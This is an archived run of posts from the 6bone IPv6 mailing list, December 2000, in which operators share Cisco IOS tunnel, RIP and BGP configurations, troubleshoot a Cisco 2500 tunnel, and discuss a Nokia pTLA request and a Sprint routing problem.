! if I recall correctly you can have something like four different rip
instances with different text names
ipv6 unicast-routing
ipv6 rip pensat redistribute static

! this is my tunnel to viagenie where I get 3ffe:b00:4007/48
interface Tunnel0
 description tunnel to viagenie
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:B00:C18::33/127
 tunnel source 209.58.21.248
 tunnel destination 206.123.31.101
 tunnel mode ipv6ip

! here is a tunnel from my border 7206 to a router I have at home on my cable
modem
interface Tunnel4
 no ip address
 no ip directed-broadcast
 ipv6 address 3FFE:B00:4007::1/127
! this is how you enable rip on an interfacae
 ipv6 rip pensat enable
 tunnel source 209.58.21.248
 tunnel destination 24.3.233.101
 tunnel mode ipv6ip

! the border 7206 has nothing but a fast ethernet port attached to a 3com hub

! the config is very similar to a tunnel address
interface FastEthernet0/0
 description Connection to core1.mclean-va.pensat.net
 ip address 209.58.21.98 255.255.255.224
 no ip directed-broadcast
 ip ospf interface-retry 0
 half-duplex
 ipv6 address 3FFE:B00:4007:3::98/64
 ipv6 rip pensat enable



Mithrandir wrote:

> Hello there guys,
>
> the Verelst Johan (tcp6@mail.be) account has changed to
> mithrandir@skynet.be.
>
> I read there are several people working with Cisco 2500 series routers.
> Can any of you give me a sample of a "show running config" I can't seem to
> get my tunnel up and running.
> Don't worry I have an IPv6 compatible IOS.
> A "show IP interfaces" would also be very helpfull.
> Thx for all your hard work i'm trying to steel.
> (just kidding) and MERRY CHRISTMAS you all!!
> and maybe A HAPPY NEW YEAR!!


From 6bone-owner  Fri Dec 22 07:56:09 2000
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From: Jason Bogin <jason@jax-inc.com>
To: "'Mithrandir '" <mithrandir@skynet.be>
Cc: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: RE: cisco router
Date: Fri, 22 Dec 2000 10:55:49 -0500
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I have a tutorial example at http://www.jax-inc.com/ipv6 - select Cisco 2500
series (text) link.

Thanks, 
Jason Bogin


-----Original Message-----
From: Mithrandir
To: 6bone
Sent: 12/22/00 6:06 AM
Subject: cisco router

Hello there guys,

the Verelst Johan (tcp6@mail.be) account has changed to
mithrandir@skynet.be.

I read there are several people working with Cisco 2500 series routers.
Can any of you give me a sample of a "show running config" I can't seem
to
get my tunnel up and running.
Don't worry I have an IPv6 compatible IOS.
A "show IP interfaces" would also be very helpfull.
Thx for all your hard work i'm trying to steel.
(just kidding) and MERRY CHRISTMAS you all!!
and maybe A HAPPY NEW YEAR!!

From 6bone-owner  Fri Dec 22 08:41:02 2000
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Date: Fri, 22 Dec 2000 11:34:48 -0500
To: "Mithrandir" <mithrandir@skynet.be>, "6bone" <6bone@ISI.EDU>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: cisco router
In-Reply-To: <00e501c06c07$5d198ba0$0401a8c0@mithrandir>
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At/À 12:06 2000-12-22 +0100, Mithrandir you wrote/vous écriviez:
>Hello there guys,
>
>the Verelst Johan (tcp6@mail.be) account has changed to
>mithrandir@skynet.be.
>
>I read there are several people working with Cisco 2500 series routers.

yeap. worked for many years now for us. We also bring a cisco 2500 router 
at the IETFs since a few years to enable iPv6 in the ietf network.

But, if you want to run the latest images, these images are getting bigger, 
so you will probably endup having to buy more memory (both types). For 
ourselves, we decided to use 2600 with upgraded memory instead of buying 
more memory in the 2500, and give up for 2500 with ipv6, since we needed 
the added features of the latest images.

your choice!

Marc.

>Can any of you give me a sample of a "show running config" I can't seem to
>get my tunnel up and running.
>Don't worry I have an IPv6 compatible IOS.
>A "show IP interfaces" would also be very helpfull.
>Thx for all your hard work i'm trying to steel.
>(just kidding) and MERRY CHRISTMAS you all!!
>and maybe A HAPPY NEW YEAR!!


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Fri Dec 22 10:07:47 2000
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From: Pim van Pelt <pim@wise-guys.nl>
Message-Id: <200012221812.TAA18284@godfather.wise-guys.nl>
Subject: Re: cisco router
In-Reply-To: <00e501c06c07$5d198ba0$0401a8c0@mithrandir> from Mithrandir at "Dec
 22, 2000 12:06:47 pm"
To: Mithrandir <mithrandir@skynet.be>
Date: Fri, 22 Dec 2000 19:12:54 +0100 (CET)
CC: 6bone <6bone@ISI.EDU>
X-NCC-RegID: nl.intouch
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Johan,

Below is (a large part of) my Cisco IOS 12.0 configuration set for
a Cisco 3640 in Amsterdam.

> I read there are several people working with Cisco 2500 series routers.
> Can any of you give me a sample of a "show running config" I can't seem to
> get my tunnel up and running.

It configures an interface of type Tunnel.
It configures an interface of type FastEthernet.
It configures a dot1q (vlan compatible with NON-Cisco) subinterface

It sets up a BGP router subsystem under AS8954.
It peers full transit with some native IPv6 people at AMS-IX (hi folks :)

It then has (this is very important) some prefix-list to make sure the 
router does not relay bogus routes (larger than prefixlen 35).
It then breaks this rule horribly by allowing to propagate several /48s
that were delegated to me (seq 1,2,3)

It routes statically some /64 over Tunnel1 we created.
It does other misc stuff which you might or might not be interested in.

Kind regards, Good luck.
Pim van Pelt / Intouch





version 12.0
service timestamps debug uptime
service timestamps log uptime
!
hostname router-nikhef
!
!
ipv6 unicast-routing
!
interface Tunnel1
 description WiseGuys Tilburg
 no ip address
 no ip directed-broadcast
 ipv6 enable
 ipv6 address 3FFE:8110:1000::2/127
 tunnel source FastEthernet0/0
 tunnel destination 192.87.170.242
 tunnel mode ipv6ip
!
interface FastEthernet0/0
 description Fiber-Intouch IPv4 IPv6
 ip address 212.19.192.218 255.255.255.224
 no ip redirects
 no ip directed-broadcast
 no ip route-cache
 no ip mroute-cache
 full-duplex
 ipv6 enable
 ipv6 address 3FFE:3001:6::1/64
 ipv6 address 2001:658:205::1/64
 ipv6 address 3FFE:8110::1/64
!
interface FastEthernet0/0.501
 description Native IPv6 to WideXS
 encapsulation dot1Q 501
 no ip directed-broadcast
 no ip route-cache
 no ip mroute-cache
 ipv6 enable
 ipv6 address 2001:658:200::1/64
!
interface FastEthernet1/0
 description UTP-Sara IPv6
 no ip address
 no ip redirects
 no ip directed-broadcast
 speed 10
 full-duplex
 ipv6 enable
 ipv6 address 3FFE:3000::A500:8954:1/64
 no cdp enable
!
router bgp 8954
 no synchronization
 no bgp default ipv4-unicast
 neighbor AMS-IX-TRANSIT peer-group
 neighbor PEERING-ONLY peer-group
[snip]
 neighbor 3FFE:3000::A500:1103:1 remote-as 1103
 neighbor 3FFE:3000::A500:1103:1 description SURFnet
 neighbor 3FFE:3000::A500:1200:1 remote-as 1200
 neighbor 3FFE:3000::A500:1200:1 description ams/ix
 neighbor 3FFE:3000::A500:1890:1 remote-as 1890
 neighbor 3FFE:3000::A500:1890:1 description UUNet
 neighbor 3FFE:3000::A500:3333:1 remote-as 3333
 neighbor 3FFE:3000::A500:3333:1 description RIPE
 neighbor 3FFE:3000::A500:5623:1 remote-as 5623
 neighbor 3FFE:3000::A500:5623:1 description AT&T
 neighbor 3FFE:3000::A500:8251:1 remote-as 8251
 neighbor 3FFE:3000::A500:8251:1 description Cistron
 !
 address-family ipv6
 neighbor AMS-IX-TRANSIT activate
 neighbor AMS-IX-TRANSIT next-hop-self
 neighbor AMS-IX-TRANSIT soft-reconfiguration inbound
 neighbor AMS-IX-TRANSIT prefix-list 6bone-out out
 neighbor AMS-IX-TRANSIT route-map 6bone-out out
 neighbor PEERING-ONLY activate
 neighbor PEERING-ONLY next-hop-self
 neighbor PEERING-ONLY soft-reconfiguration inbound
 neighbor PEERING-ONLY filter-list 2 out
 neighbor 3FFE:3000::A500:1103:1 peer-group AMS-IX-TRANSIT
 neighbor 3FFE:3000::A500:1200:1 peer-group AMS-IX-TRANSIT
 neighbor 3FFE:3000::A500:1890:1 peer-group AMS-IX-TRANSIT
 neighbor 3FFE:3000::A500:3333:1 peer-group AMS-IX-TRANSIT
 neighbor 3FFE:3000::A500:5623:1 peer-group AMS-IX-TRANSIT
 neighbor 3FFE:3000::A500:8251:1 peer-group AMS-IX-TRANSIT
 network 2001:658:200::/48
 network 2001:658:205::/48
 network 3FFE:3001:6::/48
 network 3FFE:8110::/28
 exit-address-family
!
ip default-gateway 212.19.192.217
ip classless
ip route 0.0.0.0 0.0.0.0 212.19.192.217
no ip http server
ip http access-class 1
ip as-path access-list 2 permit ^$
!
!
ip prefix-list 6bone-out seq 1 permit 3FFE:3001:6::/48
ip prefix-list 6bone-out seq 2 permit 2001:658:205::/48
ip prefix-list 6bone-out seq 3 permit 2001:658:200::/48
ip prefix-list 6bone-out seq 5 permit 3FFE::/17 le 24
ip prefix-list 6bone-out seq 10 permit 3FFE:8000::/17 le 28
ip prefix-list 6bone-out seq 15 permit 2001::/16 le 35
ip prefix-list 6bone-out seq 17 deny 2002::/16 ge 17
ip prefix-list 6bone-out seq 18 permit 2002::/16 le 17
ip prefix-list 6bone-out seq 20 deny ::/0
ip prefix-list 6bone-out seq 25 deny ::/0 le 128
!
ipv6 auto-tunnel
ipv6 route 3FFE:3001:6:1001::/64 Tunnel1
ipv6 route 3FFE:3001:6::/48 Null0
ipv6 route 3FFE:8110::/28 Null0
!
ipv6 access-list 6bone-in permit 3FFE::/16 *
ipv6 access-list 6bone-in permit 2001::/16 *
ipv6 access-list 6bone-in permit 2002::/16 *
ipv6 access-list 6bone-in permit 2010::/16 *
ipv6 access-list 6bone-in deny any
!
ipv6 access-list telnet permit 3FFE:3001:6::/64 *
ipv6 access-list telnet permit 3FFE:3001:205::/64 *
ipv6 access-list telnet deny any
!
ipv6 access-list 6bone-out permit 3FFE:3001:6::/48
ipv6 access-list 6bone-out deny 3FFE:3001:6::/48 *
ipv6 access-list 6bone-out permit 2001:658:200::/48
ipv6 access-list 6bone-out deny 2001:658:200::/48 *
ipv6 access-list 6bone-out permit 2001:658:205::/48
ipv6 access-list 6bone-out deny 2001:658:205::/48 *
ipv6 access-list 6bone-out permit 3FFE::/16 *
ipv6 access-list 6bone-out permit 2001::/16 *
ipv6 access-list 6bone-out permit 2002::/16 *
ipv6 access-list 6bone-out permit 2010::/16 *
route-map 6bone-in permit 10
 match ipv6 address 6bone-in
!
route-map 6bone-out permit 10
 match ipv6 address 6bone-out
!
banner motd 
Welcome to the Intouch IPv6 router at the AMS-IX.

!
ntp clock-period 17179673
ntp server 194.109.86.132
end

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt       Email: pvanpelt@wise-guys.nl
http://www.wise-guys.nl/      GSM: +31629064049
-----------------------------------------------

From 6bone-owner  Fri Dec 22 12:12:04 2000
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Date: Fri, 22 Dec 2000 12:11:46 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA request for NOKIA - closes 5 Jan 2001
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NOKIA has requested a pTLA and it seems reasonable to me.

This note opens the 2-week review, which will close 5 Jan 2001. Please send 
comments to me or the list.


Thanks,

Bob

======================================
>Date: Fri, 22 Dec 2000 11:37:34 -0800
>From: David Kessens <david@IPRG.nokia.com>
>To: Bob Fink <fink@es.net>
>Subject: Re: 6bone database
>
>Bob,
>
>I just completed my request for a pTLA.
>
>Does it look OK ?!?
>If so, could you open the two week wait period ?!?
>
>Thanks,
>
>David K.
>---
>
>1. The pTLA Applicant must have a minimum of three (3) months
>    qualifying experience as a 6Bone end-site or pNLA transit.
>
>    Nokia has several 6bone end-sites that are operational for longer
>    than three months:
>
>    NOKIA       (19990419)
>    NOKIA-CHINA (19991130)
>
>    Nokia has fully up to date and maintained registry entries. Nokia has two
>    fully operational nameservers (ns1.nokia.net and ns2.nokia.net). Forward
>    as well reverse DNS is working (try for example bgp6.nokia.net)
>
>    A webserver is being built with some information regarding the
>    Nokia ipv6 backbone and is accessible at http://ipv6.nokia.net/.
>    Work is progressing on making this website fully ipv6 accessible.
>
>2. The pTLA Applicant MUST have the ability and intent to provide
>    "production-quality" 6Bone backbone service. Applicants must
>    provide a statement and information in support of this claim.
>
>    Nokia is running ipv6 networks in several internal and external
>    locations. Nokia is planning to create a Nokia wide backbone.  People who
>    wish to peer with Nokia can contact <peering@ipv6.nokia.net>. People can
>    contact <noc@ipv6.nokia.net> for technical problems. Nokia maintains a
>    minimum of 2 members of technical staff, but in fact has many more people
>    working on the ipv6 network in the different countries where Nokia is
>    active.
>
>    One can visit http://www.nokia.com/ipv6/ for Nokia's vision on
>    ipv6.
>
>3. The pTLA Applicant MUST have a potential "user community" that
>    would be served by its becoming a pTLA, e.g., the Applicant is a
>    major provider of Internet service in a region, country, or focus
>    of interest. Applicant must provide a statement and information in
>    support this claim.
>
>    Nokias user community is the company itself, it's many business
>    units and customers/suppliers of services for the mobile phone
>    industry.
>
>4. The pTLA Applicant MUST commit to abide by the current 6Bone
>    operational rules and policies as they exist at time of its
>    application, and agree to abide by future 6Bone backbone
>    operational rules and policies as they evolve by consensus of the
>    6Bone backbone and user community.
>
>    Nokia agrees with the current 6bone operational rules and commits
>    to abide by these rules.



From 6bone-owner  Sat Dec 23 06:15:49 2000
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Date: Sat, 23 Dec 2000 11:15:35 -0300
To: 6bone@ISI.EDU
Subject: ipv6 https web server?
Message-ID: <20001223111535.A30760@tinuviel.compendium.net.ar>
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Hola!

Does somebody have an https web server in the 6bone that i can use
to test my lynx compiled with ipv6+ssl ?

Thanks
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Tue Dec 26 09:01:02 2000
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Date: Tue, 26 Dec 2000 13:35:37 -0300
To: Peter Abrahamsen <peter@abrahamsen.com>
Cc: 6bone@ISI.EDU
Subject: Re: ipv6 https web server?
Message-ID: <20001226133536.A7429@tinuviel.compendium.net.ar>
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¡Hola!

> > Does somebody have an https web server in the 6bone that i can use
> > to test my lynx compiled with ipv6+ssl ?
> Look at http://www.kame.net/. If the kame is dancing, you're using IPv6.

I'm looking after a HTTPS server, not a HTTP one.

Thanks,
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Tue Dec 26 09:57:44 2000
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Date: Tue, 26 Dec 2000 18:57:20 +0100
From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: mithrandir@skynet.be, 6bone@ISI.EDU
CC: woeber@cc.univie.ac.at
Message-ID: <009F52F6.238F1B9E.3@cc.univie.ac.at>
Subject: Re: cisco router
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=>I read there are several people working with Cisco 2500 series routers.

  Yes, we do :-)

>But, if you want to run the latest images, these images are getting bigger, 
>so you will probably endup having to buy more memory (both types).

  That is true, but we found some memory sitting on a shelf for an upgrade... 

  Actually, the most recent version is even smaller again (than the
  previous one). One way around (flash) memeory limitatiosn can be to boot
  tftp from another box which has got enough flash - we do it from our V6
  4500.

  The 4500 is doing ATM PVCs, Ethernet and Serial (AS 1122)
  The 2500 is doing Ethernet and Serial (AS1121)
  
  FYI, the config for those 2 boxes can be found at
  
http://noc.aco.net/ipv6/extern/ipv6vie.cfg.html	 (4500)
http://noc.aco.net/ipv6/extern/ipv6vie2.cfg.html (2500)

  Cheers,
  Wilfried
 _________________________________:_____________________________________
  Wilfried Woeber                 : e-mail: Woeber@CC.UniVie.ac.at
  UniVie Computer Center - ACOnet : Tel: +43 1 4277 - 140 33
  Universitaetsstrasse 7          : Fax: +43 1 4277 - 9 140
  A-1010 Vienna, Austria, Europe  : RIPE-DB: WW144, PGP keyID 0xF0ACB369
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 6bone-owner  Tue Dec 26 16:05:39 2000
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Date: Tue, 26 Dec 2000 18:05:29 -0600
From: Chris Kennedy <ckennedy@groovy.org>
To: 6bone@ISI.EDU
Subject: Re: cisco router
Message-ID: <20001226180529.C514@GROOVY.ORG>
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On Tue, Dec 26, 2000 at 06:57:20PM +0100, Wilfried Woeber, UniVie/ACOnet wrote:
> 
>   Actually, the most recent version is even smaller again (than the
>   previous one).
> 

So there is a new cisco image of IOS 12.1 since Nov 1,
I just loaded it onto our router.  It looks very cool, 
the reverse lookups on IPv6 are fixed and in general
seems very stable so far, and it is amazing that the
size hardly grew since the 12.0 one.

Chris K
-- 
Chris Kennedy / ckennedy@groovy.org
I-Land Internet Services / Network Operations Center
     \|/ ____ \|/
     "@'/ .. \`@"  Santa is MINE!!! The bear traps worked;)
     /_| \__/ |_\
        \__U_/ -Linux SPARC Kernel Oops

From 6bone-owner  Wed Dec 27 12:54:17 2000
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Date: Wed, 27 Dec 2000 12:43:12 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone stats and tools webpage links cleanup
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6bone folk,

I have checked and removed the unresponsive/obsolete links on the 6bone 
stats and tools pages per Itojun's kind email below (thanks Itojun).

I'm always happy and willing to add working links to these (and other) 
pages if you send them to me.


Thanks,

Bob

===
>To: Fink@es.net, Alain.Durand@eng.sun.com
>Cc: 6bone@isi.edu
>Subject: 6bone webpage updates.
>From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
>Date: Wed, 22 Nov 2000 18:29:11 +0900
>
>         there seem to be some obsolete links on 6bone webpage.
>         i tried to sweep some of those.
>
>itojun
>
>
>http://www.6bone.net/6bone_stats.html
>         BME-FSZ/HU (both): page does not exist, or reachability issue
>         CSR4/IT: page does not exist
>         DIGITAL/AU: obsolete (last update sep1997!)

...

>         NIST/US: page does not exist
>         POLITO/IT: page not available.  http://www.ipv6.polito.it/ has some
>                 item in italian.
>         STACKEN/SE: perl script died with error - not sure what happened
>         TICL/UK: unreachable

...


>http://www.6bone.net/6bone_tools.html
>         GALAKTIK traceroute: no longer available
>         BME-FSZ/HU: unavailable
>         G6/FR: unavailable
...



From 6bone-owner  Wed Dec 27 20:23:45 2000
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Date: Wed, 27 Dec 2000 23:23:29 -0500
To: 6bone@ISI.EDU
From: Paul Timmins <paul@timmins.net>
Subject: Sprint
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Anyone know what is up with Sprint? (3ffe:2900::/24?) I can't seem to get 
any reply from them (AS6175)
It looks like the main router is out or something.
-Paul


By Popular request I have moved my signature to:
http://198.87.147.223/paulsig.txt

Paul Timmins
paul@timmins.net
http://www.timmins.net/
ICQ#: 15422024 - Home
         21888714 - Work Laptop
"By definition, if you don't stand up for anything you stand for nothing"
     ---Paul Timmins


From 6bone-owner  Thu Dec 28 00:32:28 2000
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From: "Haisang Wu" <hswu@ns.6test.edu.cn>
To: "Paul Timmins" <paul@timmins.net>
Cc: <6bone@ISI.EDU>
Subject: =?us-ascii?B?Pz8sPzogU3ByaW50?=
Date: Thu, 28 Dec 2000 16:27:08 -0800
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Yeah, I have kept receving bizarre routing records from 3ffe:2900::/24 these weeks.
Who can explain this?

best
haisang

  ______________________________________________
    Haisang Wu 
    CERNET IPv6 Testbed Operation Team
    Central Mainbuilding    Room 307 
    Tsinghua University     Beijing   P.R.China 
    Zipcode: 100084     
    Phone: 62785814-525(O)  BP: 191-1134725
    email: hswu@ns.6test.edu.cn
  ______________________________________________ 	
    
   

-----????-----
???: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]?? Paul Timmins
????: 2000?12?27? 20:23
???: 6bone@ISI.EDU
??: Sprint


Anyone know what is up with Sprint? (3ffe:2900::/24?) I can't seem to get 
any reply from them (AS6175)
It looks like the main router is out or something.
-Paul


By Popular request I have moved my signature to:
http://198.87.147.223/paulsig.txt

Paul Timmins
paul@timmins.net
http://www.timmins.net/
ICQ#: 15422024 - Home
         21888714 - Work Laptop
"By definition, if you don't stand up for anything you stand for nothing"
     ---Paul Timmins

From 6bone-owner  Thu Dec 28 06:01:20 2000
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Subject: RE: Sprint
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Hi Paul,
I work with Rob Rockell is on vacation.

Jason 

-----Original Message-----
From: Paul Timmins
To: 6bone@ISI.EDU
Sent: 12/27/00 11:23 PM
Subject: Sprint

Anyone know what is up with Sprint? (3ffe:2900::/24?) I can't seem to
get 
any reply from them (AS6175)
It looks like the main router is out or something.
-Paul


By Popular request I have moved my signature to:
http://198.87.147.223/paulsig.txt

Paul Timmins
paul@timmins.net
http://www.timmins.net/
ICQ#: 15422024 - Home
         21888714 - Work Laptop
"By definition, if you don't stand up for anything you stand for
nothing"
     ---Paul Timmins

From 6bone-owner  Thu Dec 28 07:05:29 2000
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References: <00e501c06c07$5d198ba0$0401a8c0@mithrandir> <3A4320F4.4D91D427@pensat.com>
Subject: Re: Cisco router IPv6 snippets /w RIP config
Date: Thu, 28 Dec 2000 15:55:08 +0100
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If you're bored anyway,

Let's see,
Since I'm a dope in cisco routers explain me how to advertise one IPv6
network to the other.
I still don't understand how one router knows the other or how I can let
them communicate.
In other words i'm missing something.

The setup is very easy.
IPv6host-6/4router-tunnel-6/4router-IPv6host.
But, there are 4 different ways to tunnel.
When I get the above configuration to work it is only a matter of ...euhm,
wel anyway I'll try.

Oh is there somebody that can share the 12.1 IOS for Cisco 2500 series
routers?
I can't get them from the cisco site since we got the routers from another
company that did not needed them anymore.

We are still figuring out where you got the IPv6 addresses in the Tunnel?
In other words : Why? and where did you get them?

eg.:interface tunnel0
description tunnel to viagenie
no ip address
no ip directed-broadcast
ipv6 adress 3ffe:b00:c18::33/127 ???
"3ffe" always seem to be the same, but where do the other bits come from?
Do you invent them? or are they given to you by an organization?
Anyway I just hope it is a simple explenation.

Thanks Guys,
Groeten van Mithrandir.

----- Original Message -----
From: "neal rauhauser" <nealr@pensat.com>
To: "Mithrandir" <mithrandir@skynet.be>
Cc: "6bone" <6bone@ISI.EDU>
Sent: Friday, December 22, 2000 10:37 AM
Subject: Cisco router IPv6 snippets /w RIP config


>
>   Here is a snippet of config from a cisco 7206 we use as our border
router.
> Comments are inline with features. The biggest bump in the road for people
> who know cisco IPv4 routing is the way IPv6 RIP is set up - you must
enable
> it globally and then set each interface you wish to participate. This is
> *very* similar to the way DVMRP (multicast routing) is handled - looks
like
> the just pulled the code from there and made it work for IPv6.
>
>    In terms of address I'd suggest you use a /64 for each LAN interface
and a
> /127 for each WAN interface. You're not seeing things - a /127 is correct.
> IPv6 uses multicasts for ARP and doesn't need the network and broadcast
> addresses that you're used to in IPv4.
>
>    I am stuck here and bored :-( If you need help drop me a line ...
>
> ! these are global commands to enable IPv6 routing - pensat is my
employer's
> name
> ! if I recall correctly you can have something like four different rip
> instances with different text names
> ipv6 unicast-routing
> ipv6 rip pensat redistribute static
>
> ! this is my tunnel to viagenie where I get 3ffe:b00:4007/48
> interface Tunnel0
>  description tunnel to viagenie
>  no ip address
>  no ip directed-broadcast
>  ipv6 address 3FFE:B00:C18::33/127
>  tunnel source 209.58.21.248
>  tunnel destination 206.123.31.101
>  tunnel mode ipv6ip
>
> ! here is a tunnel from my border 7206 to a router I have at home on my
cable
> modem
> interface Tunnel4
>  no ip address
>  no ip directed-broadcast
>  ipv6 address 3FFE:B00:4007::1/127
> ! this is how you enable rip on an interfacae
>  ipv6 rip pensat enable
>  tunnel source 209.58.21.248
>  tunnel destination 24.3.233.101
>  tunnel mode ipv6ip
>
> ! the border 7206 has nothing but a fast ethernet port attached to a 3com
hub
>
> ! the config is very similar to a tunnel address
> interface FastEthernet0/0
>  description Connection to core1.mclean-va.pensat.net
>  ip address 209.58.21.98 255.255.255.224
>  no ip directed-broadcast
>  ip ospf interface-retry 0
>  half-duplex
>  ipv6 address 3FFE:B00:4007:3::98/64
>  ipv6 rip pensat enable
>
>
>
> Mithrandir wrote:
>
> > Hello there guys,
> >
> > the Verelst Johan (tcp6@mail.be) account has changed to
> > mithrandir@skynet.be.
> >
> > I read there are several people working with Cisco 2500 series routers.
> > Can any of you give me a sample of a "show running config" I can't seem
to
> > get my tunnel up and running.
> > Don't worry I have an IPv6 compatible IOS.
> > A "show IP interfaces" would also be very helpfull.
> > Thx for all your hard work i'm trying to steel.
> > (just kidding) and MERRY CHRISTMAS you all!!
> > and maybe A HAPPY NEW YEAR!!
>
>


From 6bone-owner  Thu Dec 28 07:08:14 2000
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From: "Mithrandir" <mithrandir@skynet.be>
To: <nealr@pensat.com>
Cc: <6bone@ISI.EDU>
Subject: Fw: Cisco router IPv6 snippets /w RIP config
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----- Original Message -----
From: "Mithrandir" <mithrandir@skynet.be>
To: <nealr@pensat.com>
Cc: <6bone@isi.edu>
Sent: Thursday, December 28, 2000 3:55 PM
Subject: Re: Cisco router IPv6 snippets /w RIP config


> If you're bored anyway,
>
> Let's see,
> Since I'm a dope in cisco routers explain me how to advertise one IPv6
> network to the other.
> I still don't understand how one router knows the other or how I can let
> them communicate.
> In other words i'm missing something.
>
> The setup is very easy.
> IPv6host-6/4router-tunnel-6/4router-IPv6host.
> But, there are 4 different ways to tunnel.
> When I get the above configuration to work it is only a matter of ...euhm,
> wel anyway I'll try.
>
> Oh is there somebody that can share the 12.1 IOS for Cisco 2500 series
> routers?
> I can't get them from the cisco site since we got the routers from another
> company that did not needed them anymore.
>
> We are still figuring out where you got the IPv6 addresses in the Tunnel?
> In other words : Why? and where did you get them?
>
> eg.:interface tunnel0
> description tunnel to viagenie
> no ip address
> no ip directed-broadcast
> ipv6 adress 3ffe:b00:c18::33/127 ???
> "3ffe" always seem to be the same, but where do the other bits come from?
> Do you invent them? or are they given to you by an organization?
> Anyway I just hope it is a simple explenation.
>
> Thanks Guys,
> Groeten van Mithrandir.
>
> ----- Original Message -----
> From: "neal rauhauser" <nealr@pensat.com>
> To: "Mithrandir" <mithrandir@skynet.be>
> Cc: "6bone" <6bone@ISI.EDU>
> Sent: Friday, December 22, 2000 10:37 AM
> Subject: Cisco router IPv6 snippets /w RIP config
>
>
> >
> >   Here is a snippet of config from a cisco 7206 we use as our border
> router.
> > Comments are inline with features. The biggest bump in the road for
people
> > who know cisco IPv4 routing is the way IPv6 RIP is set up - you must
> enable
> > it globally and then set each interface you wish to participate. This is
> > *very* similar to the way DVMRP (multicast routing) is handled - looks
> like
> > the just pulled the code from there and made it work for IPv6.
> >
> >    In terms of address I'd suggest you use a /64 for each LAN interface
> and a
> > /127 for each WAN interface. You're not seeing things - a /127 is
correct.
> > IPv6 uses multicasts for ARP and doesn't need the network and broadcast
> > addresses that you're used to in IPv4.
> >
> >    I am stuck here and bored :-( If you need help drop me a line ...
> >
> > ! these are global commands to enable IPv6 routing - pensat is my
> employer's
> > name
> > ! if I recall correctly you can have something like four different rip
> > instances with different text names
> > ipv6 unicast-routing
> > ipv6 rip pensat redistribute static
> >
> > ! this is my tunnel to viagenie where I get 3ffe:b00:4007/48
> > interface Tunnel0
> >  description tunnel to viagenie
> >  no ip address
> >  no ip directed-broadcast
> >  ipv6 address 3FFE:B00:C18::33/127
> >  tunnel source 209.58.21.248
> >  tunnel destination 206.123.31.101
> >  tunnel mode ipv6ip
> >
> > ! here is a tunnel from my border 7206 to a router I have at home on my
> cable
> > modem
> > interface Tunnel4
> >  no ip address
> >  no ip directed-broadcast
> >  ipv6 address 3FFE:B00:4007::1/127
> > ! this is how you enable rip on an interfacae
> >  ipv6 rip pensat enable
> >  tunnel source 209.58.21.248
> >  tunnel destination 24.3.233.101
> >  tunnel mode ipv6ip
> >
> > ! the border 7206 has nothing but a fast ethernet port attached to a
3com
> hub
> >
> > ! the config is very similar to a tunnel address
> > interface FastEthernet0/0
> >  description Connection to core1.mclean-va.pensat.net
> >  ip address 209.58.21.98 255.255.255.224
> >  no ip directed-broadcast
> >  ip ospf interface-retry 0
> >  half-duplex
> >  ipv6 address 3FFE:B00:4007:3::98/64
> >  ipv6 rip pensat enable
> >
> >
> >
> > Mithrandir wrote:
> >
> > > Hello there guys,
> > >
> > > the Verelst Johan (tcp6@mail.be) account has changed to
> > > mithrandir@skynet.be.
> > >
> > > I read there are several people working with Cisco 2500 series
routers.
> > > Can any of you give me a sample of a "show running config" I can't
seem
> to
> > > get my tunnel up and running.
> > > Don't worry I have an IPv6 compatible IOS.
> > > A "show IP interfaces" would also be very helpfull.
> > > Thx for all your hard work i'm trying to steel.
> > > (just kidding) and MERRY CHRISTMAS you all!!
> > > and maybe A HAPPY NEW YEAR!!
> >
> >
>


From 6bone-owner  Fri Dec 29 05:59:03 2000
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From: "Mithrandir" <mithrandir@skynet.be>
To: <6bone@ISI.EDU>
Subject: Tunnel in cisco router.
Date: Fri, 29 Dec 2000 14:47:16 +0100
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Okay this is one out of a lot of try outs.

Don't shoot me I just use this in a Closed LAN environment.

It does not work. (Pinging that is)

Router#show config
Using 826 out of 32762 bytes
!
version 11.3
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Router
!
!
ipv6 unicast-routing
!
!
!
interface Tunnel0
 ip unnumbered Ethernet0
 ip mtu 1480
 ipv6 enable
 ipv6 unnumbered Ethernet0
 tunnel source Ethernet0
 tunnel destination 128.127.1.1
 tunnel mode ipv6ip
!
interface Ethernet0
 ip address 192.168.1.94 255.255.255.0
 no ip directed-broadcast
 ipv6 enable
 ipv6 address 3FFE:2501:200:3::1/64
!
interface Serial0
 ip address 128.127.1.2 255.255.255.0
 no ip directed-broadcast
 clockrate 64000
!
ip classless
!
ipv6 route 3FFE::0/16 Tunnel0
!
line con 0
 transport input none
line aux 0
line vty 0 4
 login
!
end

Router#show ip int brief
Interface              IP-Address      OK? Method Status
Protocol

Ethernet0              192.168.1.94    YES manual up                    up

Serial0                128.127.1.2     YES NVRAM  up                    up

Tunnel0                192.168.1.94    YES unset  up                    up

Router#

Router#show ipv6 int
Ethernet0 is up, line protocol is up
  IPv6 is enabled, link-local address is FE80::2E0:B0FF:FE55:C64F
  Global unicast address(es):
    3FFE:2501:200:3::1, subnet is 3FFE:2501:200:3::0/64
  Joined group address(es):
    FF02::1
    FF02::2
    FF02::1:FF55:C64F
    FF02::1:FF00:1
  MTU is 1500 bytes
